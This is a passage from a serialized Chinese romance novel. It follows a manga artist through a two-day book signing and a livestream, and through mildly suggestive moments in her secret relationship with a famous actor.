合雨悠面颊还带着因为忙碌而泛起的薄薄红晕,妆容精致到近距离也挑不出丝毫瑕疵,礼服像月光铺在她身上。 今无忧脚步顿住,唇轻轻抿紧,走过去道:“西流大大……” 小龚表情严肃,侧头提醒:“这是今无忧。” 合雨悠点点头,她当然认得,他们上次见过一面。 空气静了一秒。 今无忧在近距离地观察她,呼吸凝固了几秒钟。 眼前女生非常漂亮,她又禁不住怀疑是不是见到过。如果当年线下活动时这么漂亮,她又怎么会产生她不是个美女的怀疑呢。 替身吗? 今无忧脑袋一片乱,最终还是开口,声音轻得几乎听不见:“西流老师,那天我截的聊天记录……真的不是那个意思。网友误会得很严重,现在很多人都在骂我,你……可以帮我澄清一下吗?” 合雨悠脚步顿了顿,抬眼看她。她的眼睛里没有怒意或者轻蔑。 只是非常安静,非常理性地在思考。 就在小龚觉得说什么都可能是陷阱,想提醒合雨悠不要说话的时候……然后合雨悠轻轻笑了一下:“澄清什么呢?” 今无忧愣住:“就是……网友说我造谣您的照片是AI,其实那不是我……” 合雨悠神色从容,语气温和:“可我从来没说过你造谣啊。” 今无忧一下怔住。 合雨悠道:“你在公开平台跟粉丝聊天,发我们聊天截图,我也从来没回应,也没指责你。网友的解读……也是网友的自由。不是吗?” 这句话看似平静,却等同于:我没怪你。是网友怪你。你想让我帮你背锅?不可能。 今无忧脸色青白交错:“我……我不是这个意思,我真的——” “我知道。”合雨悠打断她,“不过这件事已经超出我能控制的范围了。”顿了顿,她诚恳又温和地说:“希望你以后顺利,也希望我们都少受一点网络影响。” “小龚。”合雨悠侧头,把手搭在助理的肩膀上。 她要站不住了。 太累了。 明天还要签一天。 “盒子姐,”小龚低声说,“晚上做个SPA去吧?我帮您约上。” 合雨悠摇头没什么力气地说:“不了,今晚我早点休息,明天还要起来化妆。” 叶铭说是前妻名下的那辆劳斯莱斯停在展区A口外面,车门从里面拉开,合雨悠上去,小龚没敢上去,因为抬头一望,前面坐着他老板,后座内里坐着公司的摇钱树凌湛。叶铭是个向来温和的,对他说:“辛苦你了,今天下班吧,明天一早来陪你盒子姐。” 合雨悠也颔首跟他说了句谢谢和辛苦。 “我不辛苦,盒子姐您辛苦了,铭总您也是。”小龚弯腰的同时不忘拍老板马屁,顺便看了一眼内里坐着的那位气场凌人的大帅哥。 昏暗光线擦过他的侧脸。男人穿着极简单的一件黑衬衫,领口解开落在锁骨线上,他坐得懒散,手肘支着侧窗,剪影分明,眼眸低低垂着,像掩着一汪被灯光打碎的寒色玻璃。另一只手好像,呃,好像是在盒子姐的腿上搭着。然后被盒子姐一下打开了。 他都没敢多看。 再看旁边刚上车的合雨悠,妆其实花了一点点,但不明显,柔软小脸像刚沾过水一样清亮干净。睫毛又长又柔软,眼睛因为累而有点湿,耳尖是疲惫后的薄红,头发松松地挽着,碎发贴在脸侧。 从名气来说很不对等。 可是看着意外非常般配。 小龚这么想了几秒,凌湛撩起眼皮看了他一眼,随后不客气地伸手“砰”地关上了车门。 合雨悠因为被背刺过一次,不敢特别信任身边助理。虽然这个小龚怎么看也不像那种人。 车门关上她才松口气,但还是紧张地扭头:“你怎么就出现在我车上了?外面那么多人呢。” 凌湛指着自己手背,表情不是很高兴:“你刚才打我了?” 合雨悠:“……我不是故意的,我没打疼吧?我怕被人看见了。”她瞬间拿起凌湛的手,低头吹吹。吹皱心湖涟漪。 凌湛瞬间就挪过来挨着她以及手臂搂着她的腰身,紧紧贴贴,热源传递过去,高大的身材笼罩着娇小的女生。 叶铭有点没眼看。 身高体型差这么明显他还对小姑娘撒娇一样。 合雨悠被抱着,就看了一眼叶铭的后脑勺。 然后她说:“谢谢你们今天的安排,安排的一切。”她能感觉到用心,比她思考得更多,网络的一切在现实都变得不再重要。 叶铭抬手说:“安排这一切也都是为了你的新人设。” 合雨悠就说:“我觉得做我自己就挺好,那个Vlog能别那么剪么?我是说房子和车,能不能剪掉外观,不让人看见。因为那些根本不是我的,我买不起。” 叶铭说可以啊。 但心想她小傻瓜啊,房子没露出外观,大家就认不出价值了吗?他那房子里有些价值百万的画和古董,她是一个没看见啊。 还有车,车的内饰就更明显了了。 她以为当代网友都是吃素的吗? 凌湛说了句:“我买得起。” 叶铭打断:“你暂时还不行。” 凌湛:“我会买得起。” 说完凌湛开始给她揉手,声音很温柔:“宝贝签了六个多小时是么?” 合雨悠:“嗯!” 她好像有点没知觉了,手指很麻。 凌湛摇头,抬眸看她:“明天不签了吧?” 合雨悠瞪大眼:“怎么可能?” 又苦瓜脸说:“我现在就担心明天来很多为了黄金书签的黄牛。” 叶铭看似没听实则竖起耳朵,打断道:“你放心吧明天我们会新增购书答题环节,筛选一下真爱粉。” 晚饭过后几人就应该各回各家的,但他们之中有一对分别几天的小情侣,叶铭始终认为在一个狗仔遍地的城市谈恋爱太危险,提醒了几句,都被凌湛给忽略了。 最后他只能说一句:“你别让她太累,明天还要累一天呢。” 合雨悠不是大明星,不值得狗仔跟拍,这辆车虽然是豪车,但属于叶铭前妻,所以她家小区低调又安全,凌湛中午就回家了一趟,助理在给他带猫,窝在他的单人沙发上穿着真丝睡衣吃焦糖饼干。 凌湛一时怀疑自己赚钱到底是在给谁花。 他跟合雨悠都在外面辛苦赚钱没时间撸猫。 助理小马就这样在他家舒舒服服撸猫还有工资拿。 而凌湛为了不被跟拍还和合雨悠进她家家门了。 这是他第一次来。他在门口脱鞋,合雨悠找了一双男士拖鞋,凌湛低头:“这谁的?你这里怎么会有男士拖鞋。” 合雨悠说:“偶尔也会有人来啊,比如……”前阵子贺秋阳来过好几次,小龚来过,她哥会来,她爸以前也来过。 合雨悠没说,就含糊道:“放双男士拖鞋在门口也能提高我的安全性,免得被人知道我是独居女性。” 是个像样理由。 凌湛把鞋踢开,光脚,然后点了新鞋外卖。 对于独居女生而言,不是很小的蜗居生活,这里被她的生活痕迹塞得满满当当,他第一眼看到的是玄关柜上散着的小发夹、香水和钥匙,以及外面餐厅赠送的小糖果、湿纸巾和消毒酒精。他垂眸扫了一圈,像是终于看见她真正生活的轮廓,她一个人似乎也过得很好。暖光灯下一切都非常的舒适温暖,合雨悠迅速开始收拾:“我家有点乱……这几天没时间收拾,你坐我沙发。” 她拿起几只玩偶左顾右盼找地方塞去,被凌湛弯腰握着手腕:“好了,不用收拾,我来又不是为了坐你沙发。明天我帮你收拾。” 合雨悠“哦”了一声,随即被他牵着坐在了腿上。 合雨悠些微后仰,睫毛轻轻颤:“凌湛,我们不能……我明天还有活,叶总说了我们最好别。” “没说要干嘛,不做,我又不是种马。”凌湛单手搂着她的腰臀,托着让她往里更坐了一点,紧紧贴在一起,他身体后仰靠着沙发,语调懒散,“我只是想让你先消停会儿。” 合雨悠觉得这个姿势有点消停不了。 谁家情侣这么坐着没点感觉啊。 关键是她衣服在漫展会馆就换了,她穿的阔腿裤很软也很贴身,布料非常薄,这跨坐的动作完全可以让她感受到清晰的温度和形状啊!! 合雨悠坐着不吭声。 但凌湛真就知道抱她和给她揉揉手,说:“我刚学的,这是阳溪穴,”他拇指落在合雨悠虎口上方一寸来回抚触,这么按了两三分钟,切换到手背中央那条凹陷,垂眼时表情格外认真说,“这个叫什么忘了,总之要按这儿。” 合雨悠因为有点困,又看见他的模样,就轻轻趴下了,脑袋趴在他肩膀上了,说:“我困了怎么办。” “那你睡。”凌湛说。 合雨悠摇头:“不行,我还没洗澡呢。” 凌湛抬眼:“卫生间是那个白色的海棠玻璃门?” “嗯……”声音软趴趴的。 凌湛按着过了一分钟,外卖到了,凌湛发消息让外卖放在门口,随即把她抱起来了,又是那种类似抱小孩儿的姿势,合雨悠尽管要睡着了还是有短暂的羞耻,后知后觉的:“你是要……给我……” 凌湛:“不是没洗澡?没力气?” 说完他先开门拿外卖。 合雨悠低头看,凌湛没买那个。 好像真的不做。 他意思就是要帮她洗而已,合雨悠应该也是太困了,羞耻心都是微弱的,全程趴他肩膀上洗完了,身上好像被完整地抚摸了一遍,也观察了一遍,最后她挂他身上,凌湛打开衣帽间门抽了张浴巾盖她身上,单手搭在她后颈窝,问她吹风机呢,合雨悠没回答,困得睁不开眼,除了手还能搭在他脖颈圈着,几乎动弹不得。 凌湛就自己找,拉开她卫生间的抽屉翻了会儿。 里面有些女生私人物品,什么卫生棉条,洗衣凝珠,身体乳还有女生自己的玩具什么的,凌湛拿起来看了眼尺寸,不屑地丢回去,最后找到了她的吹风机。 他有过给女生吹头发的经验。 但也就那么一两次。 也给了合雨悠。 而且应该是很久很久以前的事了。 彼时他们刚谈恋爱,重庆夏天太热了,下楼买个东西一趟上来身上能淌水,合雨悠就在凌湛租的房子里冲过澡,凌湛因为太喜欢她了什么都愿意做,给她吹头发也只是其中一件。 他回忆了下步骤,合雨悠头发很长,所以要梳理再吹,最后给她抹个护发精油。过程很漫长,凌湛好像一点也不觉得枯燥,仍然乐在其中,黑发从手指里流走。 她一动不动的,表情是陷入沉睡的安然,好像永远不会离开他。 这一晚什么也没发生,倒不是没想法只是他压制住了,调了闹钟然后安静地睡在一起。两人的皮肤上有着相同的沐浴露味道,但在她身上要留香更久一些,引得凌湛总是会不经意在她身上嗅闻。 他可能对合雨悠是有那么一点生理性迷恋的成分,可能是在喜欢上她之前的事。 也许刚认识不久就有了。 合雨悠第一次坐在自行车上、怕摔倒似的抱着他腰,一会儿又担心不妥忽然松开,然后又故意突然抱上来,好死不死的柔软的手心搭在他腹肌上,抓得死死的,会猛地缩一下,指腹挠他一样,痒得让人紧绷。 真能把她摔了一样? 有非常清新的青草沐浴露味道被风吹拂凌湛的鼻间,混合他们村特有的橘子树叶的气味。 凌湛低头心想这女生挺会勾引人,贺秋阳那傻逼不知道是不是就这样被勾到的?狐狸精,他才不会上当—— 作者有话说:[三花猫头]谢谢追文,都发红包[让我康康] 第66章 第二天一早起来,合雨悠是在凌湛臂弯里苏醒的,醒来有男朋友跟她说早上好和一个早安吻。 她油然而生了一种幸福。 希望永远可以停留在这一刻。 合雨悠抱了他一会儿。 凌湛低头说黏人。 “那我不黏了!”她赶着要去化妆,凌湛进卫生间漱口,才有心情打量她整个家。 合雨悠这不算是老破小,但也绝非近几年新楼盘,两室格局,南北通透空气对流。卧室床只有一米五宽,要不是他一直抱着合雨悠,摁着她腿,怕是半夜要被她踹床底下去。 她大部分时候睡觉都很乖很安静,冷不丁动一下就得给人弄醒。 所以凌湛睡得不算太好。 凌湛看她很精神的样子。 凌湛低头说:“悠悠球,你睡得很好?” 合雨悠漱口,抬首:“嗯。”嘴里牙膏沫子要出来了,她赶紧低头。 凌湛就费解,大家都在一张床上睡,她怎么就睡得香。 合雨悠终于漱口完毕,擦干嘴角的水道:“其实我很久没睡这么好了。” 昨天凌湛和叶铭帮她解决了一个她藏在心里很久,一直无能为力或者说逃避、也从未跟人诉说过的问题。 她质疑自己的能力有段时间了,不明白为什么画不出东西,她想她只要一天画不出来,就一定是对不起一直在等她作品的粉丝的,可真的有人在等吗,真的有人这么在乎“小河向西流”这个画手吗? 比起最近的穷困和窘迫,这才是最让她痛苦的根源。然而昨天来了一些熟悉的人,她的问题迎刃而解了。不知道数量多不多,但这个世界上真的有人是那么地喜欢她的漫画,更有人因为她的漫画进入这个行业,或者去往她漫画里的原型地域旅行,或者女主身上的某些特质,点醒了他们内心的一束光。 “你很久没睡这么好了。”凌湛自动理解为,“昨晚我抱着所以你才睡得好。哦,所以你是在求我每天都来。” 合雨悠默默抬头:“你今天没有通告吗?” 凌湛:“有啊。”然后挑眉继续说,“我理解对了吧,我今晚还来。” 合雨悠想说好的。 可她还是觉得这事儿太过危险。 每当这种时候合雨悠就会开始怀念高考后的那个暑假,他们唯一需要躲避的人就是她表姐和姐夫,认识她的保安和扫地阿姨,小卖部老板和遛狗老太。 现在则需要躲避所有人,譬如电梯里碰见的年轻女性。 她从电梯反光里看向戴口罩和帽子身材又高、穿着纯黑T身上毫无首饰、但短袖下露出肌肉结实流畅的臂膀疑似是个至少身材很顶的帅哥。 合雨悠本来想避嫌,给凌湛发消息:“我俩出去后我走右边你走左边!!” 电梯里信号不佳,消息没发出去。 所以凌湛出去的时候,自顾自带上她的手腕,长臂绕过去搭在她肩膀上,带着巨大的包围感。合雨悠满脸问号地抬头,一只手伸去抓他手掌,被凌湛死死摁住,最后圈住脖子搂怀里,坚硬下颌抵着她柔软发顶往前走,低头对她说:“干嘛?合雨悠,你什么时候在外面能不躲我?” 合雨悠挣扎着扫了一眼身后,那女生去车库了。 她压低嗓音说:“等有天我们私奔到月球了吧。” 凌湛嗤:“做梦吧。” 合雨悠确实做梦都想去月球,天知道她多羡慕马特达蒙可以在月球种土豆:“或者什么地区没通电视,不认识你的。” 凌湛说:“朝鲜。” 合雨悠:“那我宁愿回老家。” 凌湛说:“回你老家结婚吗?你爸妈给你哥哥装修了婚房,给你装修了吗?” 合雨悠说没:“我那是公主房。”家里今年重新装修的,在她二十六岁时终于住进了粉嫩芭比屋。 凌湛:“你父母不催你婚?” “催的呀。”合雨悠终于和他出小区了,叹口气,在门口早餐店买了两杯豆浆。 凌湛就问:“逼你相亲过吗?” 合雨悠说没有:“我说我要十八岁的,一米八五以上的,我爸就闭嘴了。” 凌湛一伸手就把她嘴里的豆浆拿了过去,面无表情的:“你还喜欢十八岁的?你怎么跟那些男的一模一样??” 合雨悠抬头伸手:“你先还我……” “不。”凌湛抬高胳膊,一张脸因为黑口罩黑色鸭舌帽,什么表情都看不见,唯有一双眼眸垂下,“真喜欢十八岁的?” 合雨悠睁着大大的琥珀瞳:“当然是假的了,我什么岁数了?他们一催我就很害怕,都做好了一辈子不婚不育的打算……豆浆快还我啦。” 凌湛就还给她了。 顺便拇指和食指还落在她柔软的面颊一捏:“你什么岁数?还这么小。你可以不给我生但要和我结婚知道吗。” 合雨悠握着豆浆的手掌微微一紧,不由自主地抬头看凌湛,从她的角度去只能望见那双黑漆漆的眼睛,睫毛长得缱绻。 她想凌湛大概是认真的。 凌湛没得到她回答,皱皱眉:“和我分手的时候想过谈恋爱吗?” 合雨悠眨眼:“上次是不是问过我?我不是回答了么。” 凌湛嗓音冷淡:“问过你谈没谈,你说没时间,没说想不想。” “你要听实话的话,我就告诉你……我想过。”她眼神游移了下。 这会儿两个人又都要工作,于是没聊几句就分开了。 合雨悠意识到分别的时候凌湛不怎么爽,当然他的情绪就是那么地阴晴不定,合雨悠非常了解,她琢磨自己是某句话惹他了吧。 还能有哪句话呢。 化妆的时候和他断断续续地在发消息。 凌湛是去找编剧谈工作的。 合雨悠的消息是:“我想为我刚刚那句想过谈恋爱解释一下。”是化妆老师给她抹口红的时候发的。 凌湛看了一眼,背脊往后懒懒一靠,很快地打字:“说。” 然后手机搁在桌上,继续和编剧聊改空间语境的可行性:“如果我们背景改成边境,冬天的森林线,画面会比现在好看很多。” “凌导,我可以想象您说的效果,叙事张力确实可以上去,不过环境难度会提升,调度也要重新计算……不过这应该也不是我考虑的事儿,您说行我就回去再修改。” 这会儿合雨悠去进行妆后拍照了,也没理凌湛,于是凌湛聊完都几分钟了看见合雨悠居然还没回。 他不免盯着自己回复的那个“说”字。 字太少了惹她了? 凌湛重新发了条:“怎么还不告诉我。” 合雨悠刚拍完照,进电梯:“来了来了,刚刚忙去了。” 凌湛:“忙完了?那你说。” 合雨悠:“我该怎么说。” 她有点纠结。 是想解释的,但那个原因吧。 她只不过是几分钟没回复而已。 凌湛:“我以为你用的老年机呢,打字那么费劲。我马上给你买个新的。” 合雨悠:“那我说了。” 合雨悠好像鼓起勇气似的:“我每次想谈恋爱都是因为排卵期。” 是被激素驱使的,被压力驱使的,尤其想找个高高大大的哥哥抱一抱再亲一亲。 其他时间不太想。 看见消息的凌湛:“?” 什么意思? 凌湛不太理解。 他知道女生有月经期,排卵期顾名思义是排卵…… 这跟恋爱有什么关系。 不懂就搜是个好习惯,凌湛不懂但不问她,自己去搜,刚打出来“排卵期”三个字,后面就自动跟上四个字:“想男人了”。 凌湛瞬间豁然开朗,也就想起她卫生间抽屉里的玩具。 合雨悠穿好礼服上车了,给他发:“我上车了,准备去会场了。” 凌湛的消息回了:“我聊完了,等会儿还要去公司。你现在是什么期?” 合雨悠:“在排……” 凌湛:“排卵期?” 合雨悠背对着车上所有人,偷偷摸摸的打字:“嗯……” 合雨悠还是想解释下:“激素控制的我其实不想别人……我对其他男人都没兴趣的。” 她因为太尴尬了而发:“…………” 凌湛:“这么多省略号几个意思,是流的水?” 合雨悠把手机关了,她想说不是她没有,但那条消息后她就有了,真是要命,为什么要在工作期间这样!!如果她手机被偷了,消息泄露了,这一定很严重! 合雨悠:“我走了!!我们不要聊了!!我马上到会场了!!!” 她锁屏断网,深呼吸。 小龚问:“盒子姐,我开点空调?是不是挺热的。” 合雨悠说是。 小龚开空调:“我们马上到了,两点才上台,不过等会儿有个临时直播,有个稿子我们写好了您先看看熟悉一下。” 合雨悠:“发我微信了吗?” “是。” 合雨悠只好开打开网络。 本来不想现在看的消息就跳了出来。 凌湛:“那宝贝现在是在想我了。” 然后弹出来一张照片。 合雨悠定睛一看是在车上撩点衣服自拍那几块线条分明的腹肌,就赶紧屏蔽他消息,这男的骚没边了,她真是害怕被人看见。 合雨悠一本正经点开等会儿直播的稿子看。 如此一本正经却还是没心思细细观看,最后心虚地避开助理扭头切换页面看置顶消息。 免打扰但该收到的都收到了。 “不理我?” “不爱看?” “好样的。” “悠悠球我发现你现在骑我头上了。” 合雨悠还是回了:“我怎么骑你头上了?”她自觉还是很听凌湛的话的,谈恋爱的时候她没什么主见,什么都听。 凌湛回:“那你想不想骑我头上。” 合雨悠:“啊?” 凌湛:“啊什么,不想拉倒。” 合雨悠坐直了:“我理解的那个意思吗?” 凌湛靠在车上:“你理解的什么意思?” 小龚在她旁边出声:“盒子姐,准备进直播间了。” 合雨悠“哦!”了一声,立刻抬头,打完字:“没什么我要工作了。”发出去,切换页面退出去—— 作者有话说:[三花猫头]谢谢追文~发点红包[抱抱] 第67章 直播间里问题密密麻麻地刷着。 有人问:“西流大大今天准备签多久呀?” 合雨悠低头喝了口水,声音软软的:“六个半小时吧……昨天就是这么久,但我现在还活着,所以大家不用担心。” 【好想去见你!!】 【辛苦了!!】 镜头前,合雨悠正捧着水杯,小声喘口气,说不辛苦,到直播连线环节,后台的工作人员比她还紧张。 他们安排了几位漫画工作者,连线询问西流漫画技法之类的的问题,路人其实都看不太懂但直播间人数还是稳定上升,因为在镜头下,合雨悠那张刚被顶级化妆师整理过的脸颊软白到近乎透明,鼻尖有细细的高光,睫毛浓长却不夸张,像羽毛轻轻扫。嘴唇红润,整个人干净、明亮、带一点初次出镜的紧张感,眼睛黑亮得像随时会溢出光。 和大部分搞直播的都不一样。 【开滤镜了吗?皮肤怎么这么白?】 【这真的是那个漫画家西流?】 【是美颜吗?救命太好看了。】 话说着合雨悠的一个橄榄皮助理就探头出来:“我们没有开滤镜啦,也没有开美颜。我们镜头没有畸变哦。” 手掌挥了挥,合雨悠的脸颊边缘没有任何抖动。 然后他们突然连线到一个完全没有事先排演的路人,对方先是表达了对西流所绘的漫画的喜爱,又说:“西流大大,我明年要高考了,好想考清华,可是压力好大怎么办……” 合雨悠愣了两秒,说:“那我先祝你能如愿考上清华。别紧张啦,清华真的没有想象中那么难。”她顿了顿,嘴角轻轻弯起来,“当然啦,你要真的去卷的话,它还是挺难的,但你肯定可以的。你只要相信它,然后努力去做,回过头也不会后悔。” 直播结束后,她被工作人员带去舞台区继续签售。灯光从侧面照着她,皮肤白到能反光,刚刷完直播还没见过本人的路人经过都愣半秒,真人比直播还好看?这也太离谱了吧。 台下激起一阵尖叫。 签名的时候她会抬眼轻轻笑一下,会认真听读者一句小小的感谢,会问颜色、问想要什么角色,落笔把每个字都签仔细,指尖细白,袖口轻轻荡着。 到傍晚,她手都快废了,被助理扶着往后台走,整个人累得快飘了,却还是轻轻说:“谢谢大家,今天很开心。” 她回家路上靠在车窗睡着了,睫毛还轻轻颤着,经纪人给她打电话,她还有气无力。 叶铭:“这么累?” “啊……还好。”合雨悠打哈欠,恢复活力,问他什么事。 “过几天不是要高考了吗。” “嗯?跟我有什么关系。”合雨悠有点怕这俩字。 叶铭说:“哦没事,给你接了个工作。清华招生办宣传视频。学生高考后就开始投放。” 合雨悠:“……我们学校还需要我帮忙宣传吗?”一抓一大把牛逼校友,各行各业都有,而她只是个混得中不溜的画手。甚至她觉得提起来很给学校丢人。 她低头:“我还是别去了吧?会拉低学校档次的。” “当然要去。” 叶铭说:“我去帮你接的,不是你们学校需要你,是你需要你母校背书。你一个人能拉低什么档次。” “好吧好吧,我去,那个…有钱拿吗?” 叶铭:“你还想要钱???” 合雨悠:“呃……” 她是有点穷的。 奈何男朋友和经纪人都不知道。 签售两天还倒贴几十万。 合雨悠叹息,但心里并不为此多么伤心,多画点画,再怎么养自己也不成问题。 合雨悠到家是晚上十点,凌湛本来比她回来得还早,买了菜打算给女朋友做饭,结果临时有品牌方剪彩活动通告要去赶飞机,他是代言人。合雨悠回来的时候他已经走了,桌上一杯凉水,电饭煲里保温着刚煮好的米饭,锅里还有玉米棒骨汤。 合雨悠一脸不可思议,拍照:“都是你做的?” 凌湛:“不然?” 合雨悠喝了一口,汤里没盐味。 但食材本身的味道很浓郁香甜。 合雨悠:“出国学的?” 他:“嗯。” 凌湛:“你自己记得喝完,别减你那肥了。抱着硌人。” 合雨悠:“那你别抱。” 凌湛:“?” 凌湛:“不我要。” 合雨悠:“硌人。” 凌湛:“你真骑我头上了。” 合雨悠答应他:“好啦我会乖乖吃完的。” 凌湛:“嗯,这么乖就好了。” 凌湛这会儿正在登机,快起飞了。 合雨悠和他聊了几句,他就再也没回复了。 她倒在沙发上想,成年果然是个身不由己的世界,聚少离多,合雨悠把他做的饭菜都吃了,但没吃完,第二天继续吃。她在网上刷新着视频,凌湛去了他代言的品牌新店活动剪彩,各种路透视频不断。 剪彩活动的直播画面里,凌湛站在人群中央,仿佛光源是从他身上自内向外散开的。 黑色高定西装是量着他骨线裁出来的,肩线锋利,腰身收得干净笔直,身材比例好得近乎黄金线条,穿平底鞋都有一米九的身高,站着不动就像一尊雕塑。衬衫领口解开一粒,露出一点锁骨,而他的脸在镜头里更离谱,眉眼深得像混血,鼻梁挺直,眼尾偏长,天生带着点攻击性,不笑的时候又显得冷淡克制,但既然是活动,自然是要笑的。 剪彩那一刻,手里剪刀握得松松的,手修长、骨节分明,白得过分。镜头拉近时,他抬了下眼,灯光打在瞳仁里,黑色像是被点亮了有几颗星。 只是一条路人视频而已,打开居然几万条评论:【我草内娱有这么帅的男明星??我落伍了?才看见!!】 【看过电影,我老公就是硬帅!!】 【做梦都想谈这样的,但这个真不敢想】 【我和他一个高中的哈哈……他好出名,等我拉个屎就来讲讲他以前的事】 【蹲,拉完了吗?】 【三个小时了,拉完了吗?】 【急急急】 【是好的还是不好的啊?恋爱史丰富吗?等】 合雨悠不免顺着往下翻,她今天没事干,昨天鼓起勇气再次和粉丝**流,今天按理说心情不错,但每次网上刷到凌湛她心情都会相当微妙,会有短暂的一会儿觉得他不是属于她的。 他被很多人喜欢很多人爱和幻想。 合雨悠转念一想,她也有一百多万粉呢! 这不重要! 翻了半天终于翻到了,这momo说:“拉完了我来了,先说我们学校,特别大,高中部一个年级三万人,霸占几个山头,还有初中部,全校多少人可想而知,这得是一个部队了。就这样的情况下这哥都是校草,我们无人不知,外校每天都有女生翻墙来看他。凌湛是我学弟,高中的时候我们都很喜欢凌湛,偶尔去他班上后门偷偷看他。我一个姐妹和他一个好兄弟谈过呢,说之前有次吃烧烤见过凌湛,他当时应该有女朋友。” 合雨悠就点进去悄悄视奸别人,看主页这是个普通宝妈。 她又退出来。 宝妈还讲了一些事,不知真假,有的她还可以代入自己,有的就不行了。 他俩高一都不认识呢,凌湛高一哪来的女朋友? 但宝妈说高一凌湛就被人死缠烂打追到了谈了一阵,当时很羡慕那个女同学。 还有搞玄学的号上来就说他面相多情。 合雨悠睡不着了。 一把把玄学号举报了。 远程问凌湛:“活动结束了?” “还没。”凌湛抽空回她,“还在活动。” 合雨悠:“你谈过几个女朋友?” 然后撤回。 过了会儿凌湛看见了:“撤回了什么?” 合雨悠:“没什么。” 凌湛:“我要听。” 合雨悠说不。 “我要。” 合雨悠:“没什么!!” “那你撤回什么?” 合雨悠:“我打错字了!!” “我不相信。” 凌湛回:“回来再问你。” 然后人又下线了。 合雨悠不知道他会凌晨回来。 外面下着断断续续的雨,雨点打在阳台的空调外机上,轻轻碎裂成一阵阵细密的声响。整栋楼被雨声包着,像一层薄雾,让深夜显得格外安静。 直到门外传来敲门声。 手机跟着响了。 合雨悠拖着睡衣去开门,门缝一拉开,她整个人怔愣,下意识揉眼睛。 凌湛站在门口。 黑色T恤,帽檐压得很低,身上没有任何品牌标志,没有项链没有戒指,鞋也是普通款,肩背那条线条冷白的结实肌肉和身高彰显绝对是个帅哥。 合雨悠一秒把他拉进来。 “换密码了?”凌湛是从地下车库进来的,身上没有湿意,但衣服是凉的。 合雨悠嫌懒没给他录指纹,就发了密码。 但她经常换密码。 她关好门说:“我每周都换的。你怎么突然回来的?” “活动结束我就去机场了。”凌湛弯腰怀抱笼罩下来,怀里的合雨悠穿着宽松的睡裙,肩膀被包得松松的,看着是一团,但抱着就很小,好像他一只手掌都比她后脑勺大。 合雨悠身体软下来,闭眼:“为什么这么赶着回来,你可以好好休息下明天再回来的。” 凌湛:“你撤回了什么?” “……” 合雨悠抬头,眼睛睁大:“你不会就为了问这个特意连夜飞的吧?” 凌湛说当然不是,胳膊半包围式搂着女生带到她家那双人沙发上,然后坐下。有几次做梦里他和合雨悠就是生活在这种小家,一瞬间记忆不知道从过去梦境还是未来映射在他脑海里几秒。从泛黄的光斑里苏醒。 “那怎么……” 凌湛一只手圈着合雨悠的腰把她抱自己腿上坐着。 她穿睡裙,宽松裙摆因落座而掀起,皮肤柔软而紧紧贴着他身上的卫裤。 凌湛头朝后微微仰着,不知道在感受什么:“我女朋友排卵期,性谷欠这么强,她憋坏了怎么办?” 合雨悠立马伸手就捂他嘴:“你说多了我就雷这个词了。别说了啊啊啊。” 被她捂着嘴凌湛也没躲,也没扒拉开她手,桃花眸里缱绻的笑意,嗓音里也是,说:“宝宝你好漂亮。” 合雨悠就瞬间被打断施法一样脸红得透透的,凌湛双手捧她脸,凑近时视线专注而深邃,说:“所以撤回了什么?” 合雨悠被他冷不丁亲了一下,嘴唇贴在一起而没有深入,她睫毛颤颤,说:“问你谈过几个。” 凌湛:“?” 凌湛:“我以为发了什么黄的不敢给我看。” 凌湛:“结果就这?” 合雨悠脸憋得更红了,睫毛垂下,眼里有难言的情绪。说:“网友是你高中校友,你们学校很大,网上碰到校友概率很高的,有人说你高一就谈恋爱。你高一为什么不好好学习……” 凌湛:“……” 凌湛:“我没谈。” 合雨悠一秒抬头:“那谈过几个?” 凌湛看着她,手掌搭在她睡裙上,底下感受着她柔软的温度:“一个。” 合雨悠:“那个是谁……那个丁……” “丁什么?” 合雨悠其实没忘记那个女生的名字,但说不出口了:“你们学校的漂亮女生。” 凌湛表情似笑非笑:“哦,高一认识的了个漂亮女生,但不姓丁。我和她谈的。” 合雨悠牙酸。 高一的时候合雨悠和凌湛根本不认识。 她就是伤心,也没哭,就是那么看着他:“谁啊。” 凌湛摸摸她头发:“我后来才想起来的,运动会的时候见到的。” 合雨悠:“哦。” 凌湛:“帮我拉下拉链。”要撑出来了。 “我不要你自己拉。” 凌湛就笑:“行我自己拉,我等下自己放进去,你别动了。” 凌湛肉眼可见她表情很生气,眼睛里有点伤心,也没耍她太久。 他慢慢地说:“因为回想起来并不是很深刻,有朋友当时拍了照片,最近发给我,我才意识到,那树下站的是我老婆。” 说话间把她的裙子掀起来一点,手掌非常炽热,落上去一阵战栗感。 合雨悠一边不自觉因为抚摸而颤抖绷紧一边抓着他脖颈:“什么意思?” 凌湛伸手找手机:“别急我找找啊……你别掐死我了。” 合雨悠下意识一松:“我没有用力。” “我知道,你手爱掐就掐点别的。”凌湛侧头找到聊天记录。 合雨悠拇指轻轻摸了下他的后颈。 凌湛“嘶”了一声,扭头:“你故意的是不是?” “不是……我掐什么好。这个不能碰吗?” “能是能,轻一点……”凌湛继续找聊天记录里的照片。 他和一些朋友还有点联系,大家或多或少就是好奇他当明星了什么感觉,赚多少钱之类的。 关系特别好的凌湛也就说了,关系一般的他就含糊过去了。 有个关系还行的,突然跟他怀旧起来,说:“凌湛你记不记得当时我是摄影师,我翻到好多照片。” 凌湛说记得。 就是这个人把他摄影师的活抢了。 原因是凌湛当时要参加长跑和跳高项目。 他刚跑完回来在操场旁喝水,那年十七岁,操场热得发光,塑胶跑道在阳光下泛着一层白晃晃的光,空气里都是汗味、青草味和少年人的躁动。 短袖校服因为汗湿贴在凌湛的背上,肩胛骨的线条清晰得像勾出来的。他呼吸急促,喉结上下滚着,抬手拎起矿泉水瓶往嘴里灌水,湿漉漉的发梢贴在额角,一滴汗顺着下颌骨的冷线滑下来。 他在一群人里,身边有体育生拍他肩,也有女生递毛巾和杯子,喧闹一片,可他站在其中反而更显眼。 少年那种干净又张扬的气息,从照片里洋溢出来。 不过是又一佐证他从小帅到大的证据而已。 一张构图稀烂的照片。 凌湛收到了一大堆也没什么特别的反应。 但真正让他怔住的,是照片的角落。 树荫底下有两个女生。她们的校服明显大了两个码,袖口几乎要把手盖住,站姿也局促,两个人互相抱着胳膊,一个非常兴奋地看他,一个就安静很多,后背靠着树偏过头去,但视线悄悄又专注地落在凌湛身上。 “这是你。”凌湛放大照片一指,“你偷穿谁的校服?” 他俩根本不是一个学校,要进他们学校,合雨悠得借校服。 合雨悠也没想过会留下这么一张证据。 她愣了一会儿,说:“这是怎么拍到的……” “赵小强拍的。”凌湛说。 合雨悠:“哦……打台球那个男的。校服是我同桌借的,我陪她去的。” 